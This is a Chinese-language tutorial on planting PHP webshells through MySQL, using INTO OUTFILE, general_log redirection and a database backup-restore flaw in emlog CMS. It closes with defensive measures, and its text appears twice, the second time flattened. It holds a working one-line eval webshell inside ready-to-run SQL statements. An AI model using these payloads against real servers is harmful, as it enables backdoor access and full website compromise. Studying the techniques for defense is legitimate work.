数据库上传WebShell的三种方式
字数 1163 2025-08-15 21:31:42

数据库上传WebShell的三种方式详解

一、WebShell基本概念

1.1 什么是WebShell

WebShell是一个ASP或PHP木马后门文件,黑客入侵网站后将其放置在服务器web目录中,通过web方式控制服务器,可执行:

  • 上传下载文件
  • 查看数据库
  • 执行任意程序命令

1.2 相关概念

木马:特洛伊木马,指程序中包含可控制用户计算机系统的恶意代码。

后门:计算机上未经授权开启的端口或服务,允许未经授权的访问。

1.3 WebShell优点

  • 通过80端口通信,可绕过防火墙
  • 主要在web日志中留下记录,系统日志中痕迹较少
  • 隐蔽性强,难以被管理员发现

二、WebShell分类

2.1 按文件大小分类

  • 小马:功能单一,通常为"一句话木马",可使用菜刀等工具直接连接
  • 大马:功能丰富,集成上传下载、数据库提权、CMD命令操作、克隆、代理等功能

2.2 按脚本类型分类

  • JSP
  • ASP
  • ASPX
  • PHP

三、数据库上传WebShell的三种方式

3.1 INTO OUTFILE写入

必要条件

  1. secure_file_priv参数支持web目录文件导出
  2. 数据库用户具有File权限
  3. 获取物理路径

secure_file_priv参数状态

  • NULL:写入开关关闭
  • "":写入开关打开,可写入任意目录
  • "C:/phpStudy/PHPTutorial/WWW":写入开关打开,仅可写入指定路径

注意:此参数只能通过修改mysql.ini配置文件设置,无法通过SQL命令修改

写入WebShell的SQL语句

select "<?php @eval($_POST['cmd']);?>" into outfile "C://phpStudy//PHPTutorial//WWW//shell.php"

连接工具

  • 菜刀
  • 蚁剑
  • 冰蝎

3.2 通过general_log日志写入

必要条件

  • 数据库root权限
  • 知道web根路径位置

操作步骤

  1. 打开general_log开关
  2. 设置日志位置为web目录
  3. 执行SQL语句写入WebShell

示例SQL

-- 开启general_log
SET GLOBAL general_log = 'ON';
-- 设置日志文件路径
SET GLOBAL general_log_file = 'C:/phpStudy/PHPTutorial/WWW/shell.php';
-- 写入WebShell
SELECT "<?php @eval($_POST['cmd']);?>";

3.3 通过备份数据库漏洞写入

典型场景

CMS后台管理页面的数据库备份功能校验不严格

操作步骤(以emlog CMS 5.3.0为例)

  1. 获取web路径

    • 在管理页面点击"更多信息"
    • 在phpinfo页面搜索document_root
  2. 备份数据库

    • 使用管理页面的数据库备份功能
  3. 修改备份文件

    • 在SQL文件最后添加写入WebShell的语句
  4. 恢复备份

    • 通过恢复备份功能上传修改后的SQL文件
  5. 连接WebShell

    • 使用菜刀等工具连接

四、防御措施

  1. 数据库安全加固

    • 关闭不必要的功能开关
    • 限制数据库用户权限
  2. 文件权限控制

    • 限制web目录写入权限
    • 监控异常文件创建
  3. 日志监控

    • 加强web日志分析
    • 设置异常操作告警
  4. 备份安全

    • 加强备份恢复功能的安全校验
    • 验证备份文件完整性
  5. 定期安全审计

    • 检查服务器文件系统
    • 扫描可疑文件
数据库上传WebShell的三种方式详解 一、WebShell基本概念 1.1 什么是WebShell WebShell是一个ASP或PHP木马后门文件,黑客入侵网站后将其放置在服务器web目录中,通过web方式控制服务器,可执行: 上传下载文件 查看数据库 执行任意程序命令 1.2 相关概念 木马 :特洛伊木马,指程序中包含可控制用户计算机系统的恶意代码。 后门 :计算机上未经授权开启的端口或服务,允许未经授权的访问。 1.3 WebShell优点 通过80端口通信,可绕过防火墙 主要在web日志中留下记录,系统日志中痕迹较少 隐蔽性强,难以被管理员发现 二、WebShell分类 2.1 按文件大小分类 小马 :功能单一,通常为"一句话木马",可使用菜刀等工具直接连接 大马 :功能丰富,集成上传下载、数据库提权、CMD命令操作、克隆、代理等功能 2.2 按脚本类型分类 JSP ASP ASPX PHP 三、数据库上传WebShell的三种方式 3.1 INTO OUTFILE写入 必要条件 secure_file_priv 参数支持web目录文件导出 数据库用户具有File权限 获取物理路径 secure_ file_ priv参数状态 NULL :写入开关关闭 "" :写入开关打开,可写入任意目录 "C:/phpStudy/PHPTutorial/WWW" :写入开关打开,仅可写入指定路径 注意:此参数只能通过修改mysql.ini配置文件设置,无法通过SQL命令修改 写入WebShell的SQL语句 连接工具 菜刀 蚁剑 冰蝎 3.2 通过general_ log日志写入 必要条件 数据库root权限 知道web根路径位置 操作步骤 打开general_ log开关 设置日志位置为web目录 执行SQL语句写入WebShell 示例SQL 3.3 通过备份数据库漏洞写入 典型场景 CMS后台管理页面的数据库备份功能校验不严格 操作步骤(以emlog CMS 5.3.0为例) 获取web路径 : 在管理页面点击"更多信息" 在phpinfo页面搜索 document_root 备份数据库 : 使用管理页面的数据库备份功能 修改备份文件 : 在SQL文件最后添加写入WebShell的语句 恢复备份 : 通过恢复备份功能上传修改后的SQL文件 连接WebShell : 使用菜刀等工具连接 四、防御措施 数据库安全加固 : 关闭不必要的功能开关 限制数据库用户权限 文件权限控制 : 限制web目录写入权限 监控异常文件创建 日志监控 : 加强web日志分析 设置异常操作告警 备份安全 : 加强备份恢复功能的安全校验 验证备份文件完整性 定期安全审计 : 检查服务器文件系统 扫描可疑文件